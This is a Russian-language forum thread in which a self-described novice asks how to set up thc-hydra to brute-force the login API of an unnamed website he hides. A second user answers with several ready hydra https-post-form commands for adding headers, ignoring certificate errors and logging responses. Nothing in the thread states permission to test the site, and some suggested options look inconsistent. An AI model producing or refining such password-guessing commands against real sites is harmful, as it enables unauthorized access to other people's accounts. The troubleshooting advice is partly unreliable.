настройка thc-hydra

[e_e]

здравия, помогите пж настроить программу thc-hydra для подбора паролей под веб-форму на одном сайте, запрос на вход в аккаунт выглядит следующим образом:

логин, пароль - понятно, но что насчёт значений access_token, redirect_uri, method:login?

команда, которую ввожу:

hydra -l username -p password *домен сайта скрою* https-post-form "/api/login:login=^USER^&password=^PASS^:F=400" -V

(400 - код ошибки при неудачном входе, 200 - успешная авторизация)
отказывает в авторизации, определяет все пароли как неправильные, в том числе и верный

мало шарю в теме информационной безопасности, поэтому могу тупить, уж простите

 

[e_e]

сорян за повторные скрины во вложениях если что

 

[Koloboking]

1. Проверка пути и параметров запроса: Убедитесь, что путь к API /api/login и параметры запроса login=^USER^&password=^PASS^ указаны правильно.
2. Проверка сертификатов: Убедитесь, что сертификаты сайта корректны и не вызывают ошибок. Можно использовать параметр --ignore-ssl для игнорирования ошибок сертификатов.
3. Добавление дополнительных заголовков или куки: Проверьте, требуются ли для успешной авторизации дополнительные заголовки или куки. Это можно сделать, используя инструменты разработчика в браузере (например, вкладка "Сеть" в Google Chrome или Firefox).

Пример команды с дополнительными параметрами​

Попробуйте следующую команду с дополнительными параметрами, если требуется игнорировать SSL ошибки:

hydra -l username -p password *домен сайта скрою* https-post-form "/api/login:login=^USER^&password=^PASS^:F=400" -V --ignore-ssl

Если требуются дополнительные заголовки, их можно добавить следующим образом:

hydra -l username -p password *домен сайта скрою* https-post-form "/api/login:login=^USER^&password=^PASS^:F=400:H=Content-Type: application/json" -V --ignore-ssl

Включение более подробного логирования:Используйте флаг -d для включения подробного логирования и анализа ошибок:

hydra -l username -p password *домен сайта скрою* https-post-form "/api/login:login=^USER^&password=^PASS^:F=400" -V -d

Проверьте ответы сервера для каждого запроса, чтобы понять, почему авторизация не проходит.